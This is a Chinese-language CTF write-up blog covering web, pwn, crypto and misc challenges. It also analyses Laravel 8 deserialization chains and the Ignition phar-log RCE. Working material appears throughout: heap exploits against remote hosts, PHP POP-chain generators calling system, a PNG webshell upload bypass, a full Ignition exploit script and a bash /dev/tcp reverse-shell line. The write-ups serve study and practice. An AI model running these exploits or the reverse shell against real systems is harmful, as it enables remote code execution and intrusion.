0%

WEB

old

F12看源码有个接口随便整点链接发现会将文件打包成PDF。想到了前年还是去年的blackhat的一个议题,利用HTML转PDF时候link内容会被打包进PDF来读取flag。不过试了一下读远程HTML好像不大行。

image-20210523154113171

尝试读取/etc/passwd

image-20210523154227719 image-20210523154301354

尝试读取flag,发现被过滤。直接双url编码绕过读取,直接读到flag,应该非预期。

http://8.134.48.81:20012/openStream?url=file:///%2566lag.txt
image-20210523154425481

try_js

附件给出源码:

const http = require("http");
const express = require("express");
const bodyParser = require("body-parser");
const mixme = require("mixme");
const session = require("express-session");
const randomize = require("randomatic");
const morgan = require("morgan");

const app = express();
app.set("json escape", true);
app.use(morgan("short"));
app.use(bodyParser.urlencoded({ extended: true })).use(bodyParser.json());
// app.use(express.json());
app.use(
    session({
        name: "session",
        secret: randomize("aA0", 16),
        resave: false,
        saveUninitialized: false,
    })
);

const Super = {
    passone: process.env.sperson,
};

function blacklist(url) {
    var evilwords = ["DirectoryIterator", "FilesystemIterator", "GlobIterator"];
    var arrayLen = evilwords.length;
    for (var i = 0; i < arrayLen; i++) {
        const trigger = url.includes(evilwords[i]);
        if (trigger === true) {
            return true;
        }
    }
}

//TODO
//get url content

app.post("/getinfo", (req, res) => {
    console.log(req.body);
    if (req.body.userid === undefined || req.body.key === undefined) {
        res.send("you want to post null?");
    } else {
        let userid = req.body.userid;
        let key = req.body.key;
        console.log(userid);
        console.log(key);
        if (Super[userid] === key) {
            res.send(
                "admin!\nyou can goto ***** endpoint to hack!"
            );
        } else {
            res.send("You are not the Super, so I cannot give you the truth.");
        }
    }
});

app.all("/", (req, res) => {
    let data = { userid: [], key: [] };
    console.log(data);
    console.log(req.body);
    if (req.method == "POST" && req.body) {
        data = mixme.merge(data, req.body);
        req.session.data = data;
        // console.log("After MERGE: " + Super["test"]);
    }
    res.send("to be admin and you will find it!");
});

app.listen(3000, () => console.log(`Example app listening on port 3000!`));

其中:

data = mixme.merge(data, req.body);

此处有个merge操作有个CVE(https://www.op-c.net/2021/05/05/prototype-pollution-high-vulnerability-in-mixme-npm-package/)找到项目,发现有个commit显示提交了一个修复:

https://github.com/adaltas/node-mixme/commit/cfd5fbfc32368bcf7e06d1c5985ea60e34cd4028

如果远程版本在提交之前,那么就可以原型链污染,本地启个环境:

远程打出接口:

访问是一个请求内网80端口的接口,直接扫目录找到一个info.php还有一个z.php在z.php直接得到flag,不过看黑名单预期应该是原生类反序列化读文件,不过没找到能够利用的PHP文件,这个应该是非预期。

PWN

PWN1(BabyNote)

from pwn import *
# context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']



def add(content):
    p.sendlineafter(">>> ",str(1))
    p.sendafter("Input Content:\n",content)
def gift():
    p.sendlineafter(">>> ",str(666))
def delete(id):
    p.sendlineafter(">>> ",str(3))
    p.sendlineafter("Input ID:\n",str(id))
def edit(id,content):
    p.sendlineafter(">>> ",str(2))
    p.sendlineafter("Input ID:\n",str(id))
    p.sendafter("Input Content:\n",content)

def exp():
    add('a'*58)#0
    add('a'*58)#1
    add('a'*58)#2
    for _ in range(8):
        delete(0)
        edit(0,'b'*0x58)
    edit(0,'\x00'*0x10)
    p.sendlineafter(">>> ",'1'*0x450)
    edit(0,'\xa0\x66')

    stdout_offset = libc.symbols['_IO_2_1_stdout_']
    log.info("stdout_offset:"+hex(stdout_offset))

    add('c'*0x8)#3
    # gdb.attach(p,"b *$rebase(0x1392)")
    # raw_input()
    add(p64(0x0FBAD1887) +p64(0)*3 + p8(0x00))#4
    libc_addr = u64(p.recvuntil('\x7f',timeout=1)[-6:].ljust(8,'\x00'))-(0x7fbe678e5980-0x7fbe676fa000)#- (0x7ffff7fac980-0x7ffff7dc1000)
    log.info("libc_addr:"+hex(libc_addr))

    free_hook = libc_addr+libc.sym['__free_hook']
    system_addr = libc_addr+libc.sym['system']
    binsh_str = libc_addr+libc.search('/bin/sh').next()

    delete(1)
    edit(1,p64(free_hook)*2)
    add('/bin/sh\x00')
    add(p64(system_addr))
    delete(1)

    p.interactive()


# p = process("./BabyNote",env={'LD_PRELOAD':'./libc-2.31.so'})
# libc = ELF("./libc-2.31.so")
# exp()

if __name__ == '__main__':
    # p = process("./BabyNote",env={'LD_PRELOAD':'./libc-2.31.so'})
    # libc = ELF("./libc-2.31.so")
    # p = process("./BabyNote")
    # libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    p = remote("8.134.14.168", 10000)
    libc = ELF("./libc-2.31.so")
    while True:
        try:
            exp()
            exit(0)
        except:
            p.close()
            p = remote("8.134.14.168", 10000)
            # p = process("./BabyNote",env={'LD_PRELOAD':'./libc-2.31.so'})

PWN2 BabyNote_revenge

from pwn import *
# context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']



def add(content):
    p.sendlineafter(">>> ",str(1))
    p.sendafter("Input Content:\n",content)
def gift():
    p.sendlineafter(">>> ",str(666))
def delete(id):
    p.sendlineafter(">>> ",str(3))
    p.sendlineafter("Input ID:\n",str(id))
def edit(id,content):
    p.sendlineafter(">>> ",str(2))
    p.sendlineafter("Input ID:\n",str(id))
    p.sendafter("Input Content:\n",content)

def exp():
    add('a'*58)#0
    add('a'*58)#1
    add('a'*58)#2
    for _ in range(8):
        delete(0)
        edit(0,'b'*0x58)
    edit(0,'\x00'*0x10)
    p.sendlineafter(">>> ",'1'*0x450)
    # edit(0,'\xa0\xa6')
    edit(0,'\xa0\x66')


    # stdout_offset = libc.symbols['_IO_2_1_stdout_']
    # log.info("stdout_offset:"+hex(stdout_offset))

    add('c'*0x8)#3
    add(p64(0x0FBAD1887) +p64(0)*3 + p8(0x00))#4
    libc_addr = u64(p.recvuntil('\x7f',timeout=1)[-6:].ljust(8,'\x00'))-(0x7f61c5525980-0x7f61c533a000)#(0x7ffff7f59980-0x7ffff7d6e000)
    #libc_addr:0x7f1eb42b5980
    log.info("libc_addr:"+hex(libc_addr))
    # gdb.attach(p,"b *$rebase(0x13E2)")
    # raw_input()
    free_hook = libc_addr+libc.sym['__free_hook']
    log.info("free_hook:"+hex(free_hook))
    system_addr = libc_addr+libc.sym['system']
    binsh_str = libc_addr+libc.search('/bin/sh').next()

    delete(1)
    edit(1,p64(free_hook)*2)
    add('/bin/sh\x00')
    add(p64(system_addr))



    delete(1)

    p.interactive()


# p = process("./BabyNote_revenge",env={'LD_PRELOAD':'./libc-2.31.so'})
# libc = ELF("./libc-2.31.so")
# exp()

if __name__ == '__main__':
    # p = process("./BabyNote_revenge",env={'LD_PRELOAD':'./libc-2.31.so'})
    # libc = ELF("./libc-2.31.so")
    # p = process("./BabyNote_revenge")
    # libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    p = remote("8.134.14.168", 10001)
    libc = ELF("./libc-2.31.so")
    while True:
        try:
            exp()
            exit(0)
        except:
            p.close()
            p = remote("8.134.14.168", 10001)
            # p = process("./BabyNote_revenge",env={'LD_PRELOAD':'./libc-2.31.so'})
            # p = process("./BabyNote_revenge")

CRYPTO

这是道签到题

010打开发现是一个压缩包直接改后缀,解压得到一张图片,扔010里面找到一个密文一个秘钥,解出来:

image-20210523173441760

CRYPTOCRYPTO

import random
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes

# right shift inverse


def inverse_right(res, shift, bits=32):
    tmp = res
    for i in range(bits // shift):
        tmp = res ^ tmp >> shift
    return tmp


# right shift with mask inverse
def inverse_right_mask(res, shift, mask, bits=32):
    tmp = res
    for i in range(bits // shift):
        tmp = res ^ tmp >> shift & mask
    return tmp

# left shift inverse


def inverse_left(res, shift, bits=32):
    tmp = res
    for i in range(bits // shift):
        tmp = res ^ tmp << shift
    return tmp


# left shift with mask inverse
def inverse_left_mask(res, shift, mask, bits=32):
    tmp = res
    for i in range(bits // shift):
        tmp = res ^ tmp << shift & mask
    return tmp


def extract_number(y):
    y = y ^ y >> 11
    y = y ^ y << 7 & 2636928640
    y = y ^ y << 15 & 4022730752
    y = y ^ y >> 18
    return y & 0xffffffff


def recover(y):
    y = inverse_right(y, 18)
    y = inverse_left_mask(y, 15, 4022730752)
    y = inverse_left_mask(y, 7, 2636928640)
    y = inverse_right(y, 11)
    return y & 0xffffffff


f = open('output', 'r').read().strip().split(',')
r = [int(i) for i in f[:-1]]
c = long_to_bytes(int(f[-1], 16))
state = []
for _ in range(624):
    state.append(recover(r[_]))
for i in range(624):
    for j in range(i+1):
        state[j] ^= i % 256
s = (3, tuple(state+[0]), None)
print(len(s[1]))
random.setstate(s)
key = long_to_bytes(random.getrandbits(128))
a = AES.new(key, AES.MODE_ECB)
print(a.decrypt(c))
#

rsarsa

国赛rsa改编,得到text后md5加密即可拿到flag

m1、m2、m3分别是维纳攻击、Hastad攻击、已知p高位攻击

m1:

import gmpy2
import libnum
import RSAwienerHacker

c = 51084654001062999676284508744761337160593155669881973332922269056143420517629679695048487021241292007953887627491190341353167847566083172502480747704275374070492531393399916651443961186981687573379323436438906676133035045064486529453649419053918833072924346775468502743027859482041178726542991466613589539914
e = 8336175595129952911533542789423826996569722546516271636161500363234194699197831564741315089461869306051343021000467004786843886241187253481694116720349730349091091395871354352082596957433423648367398183367388782648648524548000549086553610297047964333156830786192545363469852460230159194760278103213655609189
n = 151092363916177851152025151918241584641682210212036254637668925062407387596818893923128056380386244596150134405578253100187360613990057596729265767426618262474915825169178445560157476701330766996735046666440633251722785157310664928275249725806466188778983132016426476941426227570021630850606892034122220619913

d = RSAwienerHacker.hack_RSA(e, n)
m = gmpy2.powmod(c, d, n)
print(libnum.n2s(int(m)))

m2:

import gmpy2
import libnum

c1 = 24168576475826731342981309869386844888048819155804916609868467364828794195081900378454942799582364951590154660883127133517306279315632213654294241046389472660162658285116025022019193389467425762033793233310853287285710051131156746537960416278314488047201950871542871471614834606092674080171837479678908485762
c2 = 59042322068112449729750363498227925481549151238455994334741763136215058751527859574931116063334209500284095818008451340013716449554106507373112252757273078880364298445003064190906862585372984554264625861222115429779924444369582923270264732188891567089849725691839301479707767233813043465943547876632578498984
c3 = 86124343357786577132154304914637897169467679024253471444678880447274558440276584635040507167438356800005540641456548793163113750596432451742228432593182300337042281015596655874375158300461112977200671847176880860698060672936210257455599090524023845268651175379694950602443080246153556268191330489901634436

n1 = 0x57696c78e1d443a3c9211963c721c16e47068eb3b52dfb79ef55af340e7894c7e301a5f38734ddd10e67d0dd2f5759ae0443ca47719d82bfcccc9d26b05043b0b66b253219f266ea133fc613e23dbe14d5f731c5ad4158286a1139e2927b8a485df0e662d77277f61f4ff334a24b51959e399e5e778b6934897b6b9f4b315207
n2 = 0xc7e5c4318b4376a93588ea853a70f5576aaa3a291acff806f87b00b01443edfd9298915343e8d219fc09ab464c02d12fa72abb0e70d40b12c63274bcf4a61ccb7c81d42fbb04f54e9ce972c3467c851932ecf8f0ada57f56ee91dad3837669fc501d69c68dce305d62cd1f09acff28874792ef343fca185bdc9d2432fd45d3d1
n3 = 0x8d0899da21f7a50a5a869b0914fdfbc7d67aa85941021403889d24cb5b8029dd45a14e02f83dba7c21b3759fb152e045dcad6f11421e578a1b01d5e0b077810fc33e5f8d6d8e3623d278c908bbf7f4f7adb7224014e1f14272214e1a05cf4314dd950290fddbec9870be2c1d100bcdaf7056a1b909a400bb1f549efbede68bcf

N = n1 * n2 * n3
N1 = n2 * n3
N2 = n1 * n3
N3 = n1 * n2
d1 = gmpy2.invert(N1, n1)
d2 = gmpy2.invert(N2, n2)
d3 = gmpy2.invert(N3, n3)

tmp = (c1*d1*N1 + c2*d2*N2 + c3*d3*N3) % N
m = gmpy2.iroot(tmp, 3)
print(libnum.n2s(int(m[0])))

m3:

rsa

import gmpy2
import libnum

p = 126596896828983947657897211653294325357694173315986362964483543178327683872006349352506228192861938882562062524573153829867465009733178457399135420215887364009777012624212242069216745138202953735034716032666189414323613790242613717531697843979604409625853777348356827810939640137432278820298916431800157020739
n = 12382768780688845948585828171746451695620690637388724603203719934675129634162669400211587652801497553140445052212955447547285342951827548927777971592012005336108991182804517438932388430909818349339928033362693776498198280566445301283769762658236093273135470594245556180103947875110497679850836950853434075025187940546602828416710260312146348085635062790163306288554171471977697811571151068804586709977754482736587083043633360827556846476139372134496068081264161278183780518986923815627524813237434789592133132430580528353375704616450593022343415392743694469637309237497448893478902243349283615118435345397909237495251
e = 65537
c = 7479226689503128706443123521570581658668839203982072419275773066090139369387752424856982287500754805036668221578674582111373214400048065981143586768159093517856729586240876781314226713473457848588205839635234624256432258024026698381646902196832849461804350553542541128509121012667792037004716033974053614737451942287543723238730054875983726091182977666880984732837604625557483621161056089767140997756267432137190239967241490004246596723655769407636914860893150081043179313259622038983431488143887092338693868571374510729082940832360819295528352729394196810748661957966996263811903630229686768254608968394381708296458
q = n//p
phi = (p-1)*(q-1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(libnum.n2s(int(m)))

三段合并得到

So long as men can breathe or eyes can see, So long lives this and this gives life to thee.Chest has a bright ambition, no high can not be climbed.You never know how strong you really are until being strong is the only choice you have.

md5加密后得到flag

flag{096d9ddd8c911b95d91fa7d6d7460c3c}

MISC

你看看是什么

把文件解压后的test.pacpng直接binwalk分离之后的rar文件里面有个flag.txt

MZWGCZ33MZUW4ZC7OJSWC3C7O5QXSX3UNBQW4X3ZN52V6Y3BNZPXO2LOPU======

直接base32解得flag

flag{find_real_way_than_you_can_win}

小猪的家

用Stegsolve发现pig.png有25帧,并且每一帧都有一小部分二维码如下

image-20210523160035744

把这些二维码拼接起来,扫码得到3faf86140,然后同样binwalk分离pig.png发现有个out/pigpen.png,用3faf86140为密码解压,里面是猪圈密码,用网上得密码表一个个对着写即可获取flag

flag{this_isa_pigpen_fake_flag}

misc2(忘记啥名字了)

解了一半和国赛那个坐标画图得基本一样坐标没找全画出这个玩意:

image-20210523193636029

[CISCN2021 Quals]upload

代码审计

题目给出源码index.php、example.php.

index.php明显是一个上传,做出了如下限制。

  1. 上传需要绕过getimagesize
  2. 图片的长宽必须为1.
  3. 文件名不能有c、i、h

绕过getimagesize比较简单使用XMB头就行了

#define test_width 1
#define test_height 1

图片名绕过stristr这一点想了比久直到看到mb_strtolower,发现他可以使用Unicode

image-20210516222420731

在谷歌找到这么一篇文章https://blog.rubiya.kr/index.php/2018/11/29/strtoupper/

通过fuzz可以知道部分字母在经过mb_strtolower处理过可以等效普通字母的。

i可以用(%C5%BF)代替。本来以为可以直接上传php,无奈没有相关字母可以代替。这个还得看example.php下面结合example.php再具体分析。

 <?php
if (!isset($_GET["ctf"])) {
    highlight_file(__FILE__);
    die();
}

if(isset($_GET["ctf"]))
    $ctf = $_GET["ctf"];

if($ctf=="upload") {
    if ($_FILES['postedFile']['size'] > 1024*512) {
        die("这么大个的东西你是想d我吗?");
    }
    $imageinfo = getimagesize($_FILES['postedFile']['tmp_name']);
    if ($imageinfo === FALSE) {
        die("如果不能好好传图片的话就还是不要来打扰我了");
    }
    if ($imageinfo[0] !== 1 && $imageinfo[1] !== 1) {
        die("东西不能方方正正的话就很讨厌");
    }
    $fileName=urldecode($_FILES['postedFile']['name']);
    if(stristr($fileName,"c") || stristr($fileName,"i") || stristr($fileName,"h") || stristr($fileName,"ph")) {
        die("有些东西让你传上去的话那可不得了");
    }
    $imagePath = "image/" . mb_strtolower($fileName);
    if(move_uploaded_file($_FILES["postedFile"]["tmp_name"], $imagePath)) {
        echo "upload success, image at $imagePath";
    } else {
        die("传都没有传上去");
    }
}

example的代码可以直接知道咱么需要上传zip格式然后通过这个程序解压,这个正好前面知道i的绕过方法。但是这里需要绕过imagecreatefrompng,imagepng如果直接在图片最后写一个一句话木马,会被GD库给去掉。绕过GD库可以参考这篇文章:http://www.vuln.cn/6411 ,但是这个作者写的脚本有毒图片经过imagepng处理后乱码,浪费了几个小时。最后用这个脚本来生成图片马:https://github.com/huntergregal/PNG-IDAT-Payload-Generator

 <?php
if (!isset($_GET["ctf"])) {
    highlight_file(__FILE__);
    die();
}

if(isset($_GET["ctf"]))
    $ctf = $_GET["ctf"];

if($ctf=="poc") {
    $zip = new \ZipArchive();
    $name_for_zip = "example/" . $_POST["file"];
    if(explode(".",$name_for_zip)[count(explode(".",$name_for_zip))-1]!=="zip") {
        die("要不咱们再看看?");
    }
    if ($zip->open($name_for_zip) !== TRUE) {
        die ("都不能解压呢");
    }

    echo "可以解压,我想想存哪里";
    $pos_for_zip = "/tmp/example/" . md5($_SERVER["REMOTE_ADDR"]);
    $zip->extractTo($pos_for_zip);
    $zip->close();
    unlink($name_for_zip);
    $files = glob("$pos_for_zip/*");
    foreach($files as $file){
        if (is_dir($file)) {
            continue;
        }
        $first = imagecreatefrompng($file);
        $size = min(imagesx($first), imagesy($first));
        $second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
        if ($second !== FALSE) {
            $final_name = pathinfo($file)["basename"];
            imagepng($second, 'example/'.$final_name);
            imagedestroy($second);
        }
        imagedestroy($first);
        unlink($file);
    }

}

实践

制作图片马以及压缩包

用上面的脚本直接生成图片马。

image-20210516232251994

然后将图片头给压入压缩包里面。先将下面的文件头写进一个文本文件,注意一定要加一行换行否则识别不出来。因为后面需要解压,这个文件头需要放到压缩包后面。


#define test_width 1
#define test_height 1

用常见的隐写方法:

copy shell.zip/b+b.txt/a sb.zip
image-20210516232922249

绕过文件名检测上传ZIP

image-20210517001809377

解压文件

image-20210517002001649

文件会被解压到example文件夹下

image-20210517002205315

getflag

image-20210517003324748

Laravel8反序列化POP链分析

POP链一

使用\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php__destruct方法。其中eventsevent都可控,那么咱们就可以指定一个存在dispatch方法的类来继续寻找能够RCE的方法,并且这个dispatch必须是可以传参的。

image-20210512152716814

全局搜索在\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php下就存在一个dispatch方法,是一个简单的三目运算。咱们先看如果前面运算为True情况下进入dispatchToQueue有没有RCE的可能。

image-20210512153224762

跟进dispatchToQueue方法可以看到该方法存在调用call_user_func的其中参数1就是dispatch方法下的$this->queueResolver,是可控的,参数2是传入$command变量的一个属性。因此可以知道$command数据类型必须为一个对象。

image-20210512153428951

分析完dispatchToQueue咱们回到dispatch方法。要想进入dispatchToQueue需要queueResolverTrue这个很简单,随便一个函数名就行了。我们只需要看$this->commandShouldBeQueued($command)能否返回为True,我们跟进这个方法。通过该方法注释就能快速看出该方法返回值就是一个Bool类型,怎样才能让其返回true呢?可以看到其对$command的类型进行了判断,只要是 ShouldQueue对象就返回True

image-20210512153958899

因此咱们再找一个 继承ShouldQueue的方法即可。

image-20210512225734552

那么这条链的思路就清晰了,因此构造如下POP链:

<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
    protected $events;
    protected $event;
      public function __construct($events, $event)
    {
        $this->event = $event;
        $this->events = $events;
    }
}
}

namespace Illuminate\Broadcasting{

    class BroadcastEvent{
        public $connection;
        public function __construct($command){
            $this->connection = $command;
        }
    }
}
namespace Illuminate\Bus{
    class Dispatcher {
    protected $queueResolver;//该属性为call_user_fun的第一个参数
    public function __construct($queueResolver)
        {
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace{
    $b = new Illuminate\Bus\Dispatcher("system");//存在dispatch方法
    $c = new Illuminate\Broadcasting\BroadcastEvent("whoami");
    $a = new Illuminate\Broadcasting\PendingBroadcast($b,$c);
    echo urlencode(serialize($a));
}

?>

POP链二

除了寻找存在dispatch方法的还可以找到存在call的类例如laravel/vendor/laravel/framework/src/Illuminate/Validation/Validator.php就存在一个call,代码简单看一下他会对传入的$mothod我们用上一个链的入口那么$mothod的值将会固定为dispatch。而想进入第一个分支则需要在$extensions数组中存在下标为$rule的值,$rule的值是从$mothod的第八位开始取得正好为空,我们只需要定义$extensions[""=>'值']即可进入第一个分支。

image-20210514101236842

我们继续跟进 callExtension方法。可以看到这里使用了动态拼接函数,而这个回调函数($callback)正是$extensions中键名为空的值。参数就是$method所传入的值。

image-20210514101822090

据此可以构造如下POP链:

<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
    protected $events;
    protected $event;
      public function __construct($events, $event)
    {
        $this->event = $event;
        $this->events = $events;
    }
}
}

namespace Illuminate\Validation{
    class Validator{
         public $extensions = [''=>'phpinfo'];
    }
}

namespace{
    $b = new Illuminate\Validation\Validator();
    $c = 1;
    $a = new Illuminate\Broadcasting\PendingBroadcast($b,$c);
    echo urlencode(serialize($a));
}
?>

漏洞成因

Laravel<8.4.3&&Facade Ignition < 2.5.2 在在Debug模式下,Ignition某些接口并未做过滤,导致file_get_contents()和file_put_contents(),函数参数被控制,黑客可通过控制日志文件引起Phar反序列化执行远程代码.

漏洞分析

假设我们在模板中使用了一个不存在的变量,那么Ignition会提出解决方案使用三目运算符将变量置为空。

WX20210422-091932@2x

我们点击Make variable optional会调用一些方法来替换模板上的变量。我们抓取这个数据包进行分析:

WX20210422-092155@2x

可以看到其调用解决方案在Ignition\\Solutions\\MakeViewVariableOptionalSolution下,并提供两个参数跟别是需要修改的变量,模板文件的位置。

我们先从src/IgnitionServiceProvider.php寻找对应post的路由进行追溯。

3

很明显直接调用了ExecuteSolutionController追溯下去是是一个单行为的控制器,直接将参数传入了run方法.

WX20210422-093035@2x

通过run方法会将参数传递到各个解决方案之中。

WX20210422-093353@2x

我们直接到追溯到src/Solutions/MakeViewVariableOptionalSolution.php

WX20210422-093643@2x

可以观察到,先将参数传入makeOptional处理完毕后若返回值不为null就能够调用到file_put_contents。我们追溯makeOptional方法,可以看到file_get_contents是完全可控的。如果网站存在上传功能可以直接上传phar文件进行反序列化,这里不做讨论。

WX20210422-094346@2x

这里对$parameters['variableName']几乎是不可控的,因为代码使用token_get_all进行了处理,然后同功能遍历返回值进行判断是否存在解析器代号列表中的对应代号,简单的说代码对我们传入的参数进行了PHP结构分析,假设我们修改了参数,代码会进行结果对比阻止我们的行为。

token_get_all() 解析提供的 source 源码字符,然后使用 Zend 引擎的语法分析器获取源码中的 PHP 语言的解析器代号

解析器代号列表见解析器代号列表, 或者使用 token_name() 翻译获取这个代号的字符串表示.

前面说了,file_get_contents所有变量是可控的,我们要想RCE有两条路:①上传文件进行反序列化②写入日志文件进行反序列化

我们接下来来分析第二条路径。laravel默认日志路径存储在storage/logs/laravel.log.假设我们加载一个存在的view错误的日志文件将会存储在这里。

WX20210422-101124@2x

虽日志文件内容可控,但是日志文件后缀无法改变。我们能否写入Phar文件进行反序列化呢?但是日志文件存在许多的“废代码”,但是phar文件必须以__HALT_COMPILER();?>结尾,可以简答理解xxx<?php xxx; __HALT_COMPILER();?>xxx的内容不限。

要想清除多余的代码,我们很容易地联想到P神的谈一谈php://filter的妙用文章巧妙地利用base64的特性吃掉了多余的代码。但是base64是4比特一组但是如果等于号在中间合法的base64字符将不会被忽略,同时观察日志内容,我们注入的代码只是很小的一部分,前后都有对应的堆栈跟踪信息,我很难确保内容不会出错。面对这样的问题,作者提出了将日志内容直接清空的想法。

Trick 1

作者提出存在一个未被官方文档记录的过滤器consumed它能够清除文件内容

php://filter/read=consumed/resource=../storage/logs/laravel.log

Trick 2

php://filter/read=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

先将内容从UTF8转换为UTF16将结果进行quoted-printable编码,之后再转换为UTF-8.之后进行base64解码得到这样就吃掉没有用的字符了。

我们将payload写入之后如何转换为正确的phar文件呢?

我们写入一个较长的Payload观察一下日志有哪些规律。可以看到payload完全出现的地方有两个。

WX20210422-161405@2x

结构可以简单记作:

[x1]payload[x2]payload[x3]

那么怎么才能去掉[x1]….[x2]…[x3]这些非payload的内容呢。我们前面所说,base64没法完全吃掉所有的字符,我们只能将这些字符转换为base64所规定的非法字符。

UTF-16将UTF-16以外的字符转换为base64非法字符

例如:

echo -ne '[x1]p\0a\0y\0l\0o\0a\0d\0[x2]p\0a\0y\0l\0o\0a\0d\0[x3]' >test.txt

WX20210425-110616@2x

由于utf-16 使用两个字节所以在后面加多一个字节导致后面解析失败,这样咱们就可以只保留下来一个payload

echo -ne '[x1]p\0a\0y\0l\0o\0a\0d\0X[x2]p\0a\0y\0l\0o\0a\0d\0X[x3]' >test.txt

WX20210425-112338@2x

接下来我们需要对空字节进行处理,因为file_get_contents在遇到空字节时候会抛出warning我们需要对空字节进行编码也就是使用convert.quoted-printable-decode

至此转换连构造

php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

综上攻击思路如下:

1. 编码构造 payloadb64 -> quoted-printable ,这里构造好后,还要在末尾添加一字符,确保有且只有一处是完整的 payload 。
2. 清空 log 文件
3. 发送无害 payload 对齐
4. 发送攻击 payload
5. 解码转换 log 至 pharquoted-printable -> utf-16 转 utf-8 -> b64
6. phar 伪协议执行

手动Burpsuite没有复现出来,原因不明,编写脚本复现成功:

其中phar,最终生成的payload加上个a对齐。

php -d "phar.readonly=0" ./phpggc Laravel/RCE7 system id --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())>payload.txt

最终

import requests
import json
headers = {
    "Content-Type":"application/json"
}

payload = {
"clean" : "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log",
"add" : "AA",
"phar" : "=50=00=44=00=39=0........00=52=00=42=00=73=00=31=00=72=00=6D=00=61=00=6B=00=59=00=51=00=68=00=6D=00=4E=00=52=00=79=00=32=00=32=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=00a",
"decode" : "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log",
"attack" : "phar://../storage/logs/laravel.log"
}

url = "http://xxx/_ignition/execute-solution"
for i in payload:
    data={"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
    "parameters":{
    "variableName":"$name",
    "viewFile":"%s"%(payload[i])
    }
    }
    r = requests.post(url,data=json.dumps(data),headers=headers)
print(r.text)

QQ20210427-231128@2x

参考

https://www.anquanke.com/post/id/231459#h3-5

NepNepCTF-little_trick

  • 这道题当时也是非预期了,记录一下其他人的解法
 <?php
    error_reporting(0);
    highlight_file(__FILE__);
    $nep = $_GET['nep'];
    $len = $_GET['len'];
    if(intval($len)<8 && strlen($nep)<13){
        eval(substr($nep,0,$len));
    }else{
        die('too long!');
    }
?> 

题目比较简单,只要命令长度小于13即可。intval($len)<8这里直接让len等于-1即可

例如:

<?php
echo substr("cat /flagg",0,-1);
?>
 //result:cat /flag

具体原因参考:https://www.php.net/substr/

QQ20210426-224201@2x

直接ls看看

QQ20210426-224359@2x

直接读取即可

QQ20210426-224511@2x

其他人的解法:

?nep=`$nep`;ls>z&len=7 
?nep=`$nep`;>cat&len=7 
?nep=`$nep`;*>z&len=7
或者
`ls>z`;&len=7 
`>cat`;&len=7 
`*>z`;&len=6

两个解法其实是一样的,就是先将文件列表存储在一个文件z里面,写一个叫cat的文件。最后用通配符匹配变成一条命令执行

相当于执行了 cat flag.php index.php

反弹shell

?nep=`$_GET[1]`;;&len=-1&1=bash -i >& /dev/tcp/ip/10110 0>&1

NepNepCTF WEB2

  • 当时非预期了。做个简单的记录利用PHP反射RCE

核心代码如下:

 <?php 
highlight_file(__FILE__);
function waf($s) {
  return preg_replace('/sys|exec|sh|flag|pass|file|open|dir|2333|;|#|\/\/|>/i', "NepnEpneP", $s);
}
if(isset($_GET['a'])) {
  $_ = waf($_GET['a']);
  $__ = waf($_GET['b']);
  $a = new $_($__);
} else {
  $a = new Error('?');
}
if(isset($_GET['c']) && isset($_GET['d'])) {
  $c = waf($_GET['c']);
  $d = waf($_GET['d']);
  eval("\$a->$c($d);");
} else {
  $c = "getMessage";
  $d = "";
  eval("echo \$a->$c($d);");
}
?>
  • PHP反射给出的Demo简单修改一下就能执行任意函数:
<?php
$function = new ReflectionFunction('system');
echo $function->invoke("whoami");
?>
  • 但是题目过滤了sys等关键字,可以另辟蹊径使用invokeArgs配合call_user_func通过拼接字符串的方式绕过过滤执行任意代码。例如:
<?php
$function = new ReflectionFunction('call_user_func');
echo $function->invokeArgs(array('s'.'y'.'s'.'tem','whoami'));
?>

WX20210423-110838@2x

  • EXP
index.php?a=ReflectionFunction&b=call_user_func&c=invokeArgs&d=array(%27s%27.%27y%27.%27s%27.%27tem%27,%27cat%20/f%27.%27lag%27)

WEB1

<?php
highlight_file(__FILE__);
$username = str_shuffle(md5("admin"));
$password = str_shuffle(md5("root"));

$login = false;
if (isset($_GET['str'])) {
    $str = $_GET['str'];
    $unserialize_str = unserialize($str);
    if ($unserialize_str['username'] == $username && $unserialize_str['password'] == $password) {
        $login = true;
    }
}

if ($login && isset($_GET['code'])) {
    if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
        if (!preg_match('/highlight_file|localeconv|pos|curret|chdir|localtime|time|session|getallheaders|system|array|implode/i', $_GET['code'])) {
            eval($_GET['code']);
        } else {
            echo "含有危险函数" . "<br/>";
        }
    } else {
        echo "不符合正则表达式" . "<br/>";
    }
}

题目可分为两部分,一是通过if语句判断使$login的值变为true,二是通过eval函数执行我们想要的代码拿到flag

$unserialize_str = unserialize($str);
if ($unserialize_str['username'] == $username && $unserialize_str['password'] == $password) {
    $login = true;
}

虽然我们不知道$usernam$password的值,但可以在if语句中使用的判断为==

由于php是弱类型语言,所以bool值为true的变量和任何变量比较都相等,除了0和false,因为0认为是bool false

由此构造$str

<?php
$a = array(
    "username" => true,
    "password" => true
);
echo serialize($a);
a:2:{s:8:"username";b:1;s:8:"password";b:1;}

这样便能使$login被赋值为true


